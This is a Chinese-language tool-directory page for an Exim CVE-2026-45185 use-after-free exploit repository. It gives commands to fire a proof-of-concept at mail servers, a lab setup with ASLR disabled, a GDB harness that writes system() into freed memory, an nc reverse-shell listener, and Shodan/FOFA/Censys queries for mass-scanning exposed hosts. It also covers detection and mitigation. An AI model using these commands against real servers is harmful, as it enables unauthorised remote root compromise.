Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-45185 — 利用 Exim 中通过 TLS close_notify 触发的关键 pre-auth 堆释放后使用漏洞,获取远程 root 权限;附带 GDB 实验室框架和 Nuclei 检测模板。 | Kitploit
工具/GitHubGitHub/0init/cve-2026-45185
漏洞扫描器漏洞分析漏洞利用学习与教育二进制利用实验室与实践
GitHub0init/cve-2026-45185

CVE-2026-45185

利用 Exim 中通过 TLS close_notify 触发的关键 pre-auth 堆释放后使用漏洞,获取远程 root 权限;附带 GDB 实验室框架和 Nuclei 检测模板。

查看仓库
12天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-45185 — Dead.Letter:Exim 堆释放后使用(UAF)致远程 Root

CVSS 9.8 严重 | Exim 4.97–4.99.2 | Ubuntu / GnuTLS 构建 | 未认证

包含 GDB 跟踪、逐步分析和全球暴露数据的完整技术文章:
https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html


这是什么

当 Exim 处于 BDAT 主体传输中途时,发送 TLS close_notify 警报会导致 tls_close() 调用 gnutls_deinit(),释放 7,304 字节的 gnutls_session_int 结构体。BDAT 接收层持有一个失效的指针。当主体读取循环恢复时,tls_getbuf → gnutls_record_recv 会解引用已释放的会话 — 堆释放后使用(heap use-after-free),发生在认证之前,无需任何凭据。

已在 Exim 4.99.3 中修复。


受影响范围

条件要求
Exim 版本4.97, 4.97.x, 4.98, 4.98.x, 4.99.0, 4.99.1, 4.99.2
构建Ubuntu / Debian 且使用 GnuTLS(libgnutls28-dev)
特性EHLO 中通告 CHUNKING(默认开启)

Alpine Linux 以及链接 OpenSSL 的自编译 Exim 不受影响。


文件

文件用途
poc.py

poc.py — UAF 触发器

root@kitploit:~
python3 poc.py <host> <port> <rcpt@domain>

# example
python3 poc.py mail.example.com 587 [email protected]

如果服务器在触发后仍然存活,则说明 UAF 路径存在。如果它崩溃了,则说明 tcache 的行为发生了变化。


diag19_gdb.py — GDB 框架(仅限实验室)

Docker 实验室搭建(5 分钟)

root@kitploit:~
# 1. Pull Ubuntu 22.04 + install Exim 4.97 with GnuTLS
docker run -it --name exim4-lab ubuntu:22.04 bash
apt-get update && apt-get install -y exim4 gdb python3

# 2. Disable ASLR (required for hardcoded addresses)
echo 0 | tee /proc/sys/kernel/randomize_va_space

# 3. Configure Exim — enable CHUNKING + STARTTLS, listen on all interfaces
dpkg-reconfigure exim4-config   # choose "internet site", accept defaults

# 4. Start Exim under GDB with harness loaded
gdb -q -x /path/to/diag19_gdb.py --args /usr/sbin/exim4 -bd -d

# 5. In another terminal, run the trigger
python3 poc.py 127.0.0.1 25 user@localhost

# 6. Start a listener for the reverse shell
nc -lvp 4444

**运行之前:**编辑 diag19_gdb.py 中的 CMD,指向你的监听器 IP。
SYSTEM 地址在加载时动态解析 — 无需手动查找。
PostTlsCloseFin 中的两个地址(lwr_receive_getbuf、tls_getbuf)是 Exim 内部地址,必须与你的构建匹配:

root@kitploit:~
(gdb) p &lwr_receive_getbuf
(gdb) p tls_getbuf

CVE-2026-45185.yaml — Nuclei 检测

root@kitploit:~
# Single target
nuclei -t CVE-2026-45185.yaml -u mail.target.com -v

# Target list
nuclei -t CVE-2026-45185.yaml -l smtp-hosts.txt

# Mass scan from Shodan results
shodan search '"Exim 4.97" "Ubuntu" "CHUNKING" port:25' --fields ip_str,port | \
  awk '{print $1":"$2}' > targets.txt
nuclei -t CVE-2026-45185.yaml -l targets.txt

检测逻辑

该模板运行两个独立的阶段:

  1. EHLO 指纹 — 发送 EHLO,匹配全部三个必需条件:

    • 版本正则 4.97–4.99.2
    • 横幅中包含 Ubuntu(确认 GnuTLS 链接)
    • 能力列表中包含 CHUNKING
  2. BDAT 探测 — 在不发送 RCPT TO 的情况下发送 BDAT 200,匹配 Exim 特有的 503:

    root@kitploit:~
    503 valid RCPT command must precede BDAT
    

大规模扫描查询

root@kitploit:~
# Shodan
"Exim 4.97" "Ubuntu" "CHUNKING" port:25,587

# FOFA
banner="Exim 4.97" && banner="Ubuntu" && banner="CHUNKING" && (port="25" || port="587")

# Censys
services.smtp.banner:"Exim 4.97" and services.smtp.banner:"Ubuntu"

修复方案

升级到 Exim 4.99.3 或更高版本(官方补丁)。

临时缓解措施(无利用路径,测试时无需重启):

root@kitploit:~
# exim4.conf
chunking_advertise_hosts = !*

然后执行 service exim4 restart。


时间线

日期事件
2026-06-10XBOW 分配 CVE
2026-06-24发布公开安全公告
2026-08-07确认实验室 RCE;发布本文及 PoC

参考链接

  • 技术文章:https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html
  • XBOW 安全公告:https://xbow.com/blog/dead-letter-cve-2026-45185-xbow-found-rce-exim
  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-45185

作者 @0Init

下载工具
UAF 触发器 — 仅使用标准库,无需 pip。可安全地针对你自己的服务器运行。到达 UAF 路径后即停止(不含载荷)。
diag19_gdb.pyGDB 漏洞利用框架 — 7 个断点,在 gnutls_deinit() 返回后将 system() 写入已释放的内存块。仅限实验室(需要关闭 ASLR + 匹配的库版本)。
CVE-2026-45185.yamlNuclei 模板 — 通过 EHLO 指纹 + BDAT 探测检测全部三个前置条件。安全、只读的检测。